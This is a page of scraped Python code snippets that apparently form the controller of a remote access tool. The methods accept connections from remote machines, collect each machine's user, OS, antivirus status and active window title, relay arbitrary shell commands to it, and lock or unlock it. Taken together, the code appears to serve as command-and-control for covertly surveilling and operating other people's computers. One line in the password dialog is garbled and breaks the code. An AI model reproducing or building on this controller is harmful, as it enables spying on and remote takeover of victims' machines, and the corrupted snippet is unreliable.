Example #1
0
    def listenConnections(self, port):
        # Initializing socket
        self.c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        # telling the OS that you know what you're doing and you still want to bind to the same port
        self.c.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

        # Bind address
        self.c.bind(('0.0.0.0', int(port)))

        # Start listen for connections
        self.c.listen(128)

        # Start Servers Check Thread
        serversCheckThread = threading.Thread(target=self.checkServers)
        serversCheckThread.setDaemon(True)
        serversCheckThread.start()

        while self.acceptthreadState:
            try:

                # Try accept connection
                self.sock, self.address = self.c.accept()
            except:
                continue

            if not self.acceptthreadState:
                return
            if self.sock:

                # TEST GET INFO

                try:
                    mSend(self.sock, 'whoareyou')
                    data = mReceive(self.sock)
                    info = ast.literal_eval(data)


                    # Set timeout None
                    self.sock.settimeout(self.timeout)

                    # Save connected socket
                    socketIndex = self.address[1]
                    self.socks[socketIndex] = {}
                    self.socks[socketIndex]['sock'] = self.sock
                    self.socks[socketIndex]['ip_address'] = self.address[0]
                    self.socks[socketIndex]['socket'] = self.address[1]
                    self.socks[socketIndex]['ostype'] = info['ostype']
                    self.socks[socketIndex]['protection'] = info['protection']
                    self.socks[socketIndex]['os'] = info['os']
                    self.socks[socketIndex]['user'] = info['user']
                    self.socks[socketIndex]['version'] = info['version']
                    self.socks[socketIndex]['activewindowtitle'] = info['activewindowtitle']

                    self.updateServersTable()

                except:
                    continue
Example #2
0
    def runCommand(self):
        try:
            command = self.console.command[1:] if self.console.command.startswith(" ") else self.console.command
            mSend(self.sock, command)
            data = mReceive(self.sock)
            while data.startswith("\n"):
                data = data[1:]
            data = data.replace("\n", "<br>")

            self.console.append("<br><font color=#3CFFFF>" + data + "</font>")
            self.console.newPrompt()

        except socket.error:
            # Error with connection
            self.close()
Example #3
0
 def unlockServer(self):
     while 1:
         if self.serversTable.item(self.serversTable.currentRow(), self.index_of_lock).text() == 'LOCKED':
             sockind = int(self.serversTable.item(self.serversTable.currentRow(), self.index_of_socket).text())
             text, ok = QInputDialog.getText(self, 'Password Protection', 'Enter Password: '******'sock'], _hash.hexdigest())
                 answer = mReceive(self.socks[sockind]['sock'])
                 if 'iamactive' in answer:
                     break
             else:
                 break
         else:
             break
Example #4
0
 def checkServers(self):
     while self.acceptthreadState:
         for i, k in self.socks.iteritems():
             sock = self.socks[i]['sock']
             sock.settimeout(3)
             try:
                 mSend(sock, 'whoareyou')
                 data = mReceive(sock)
                 info = ast.literal_eval(data)
                 self.socks[i]['protection'] = info['protection']
                 self.socks[i]['user'] = info['user']
                 self.socks[i]['version'] = info['version']
                 self.socks[i]['activewindowtitle'] = info['activewindowtitle']
             except socket.error:
                 del self.socks[i]
                 break
         self.updateServersTable()
         time.sleep(5)
Example #5
0
 def lockServer(self):
     sockind = int(self.serversTable.item(self.serversTable.currentRow(), self.index_of_socket).text())
     mSend(self.socks[sockind]['sock'], 'lock')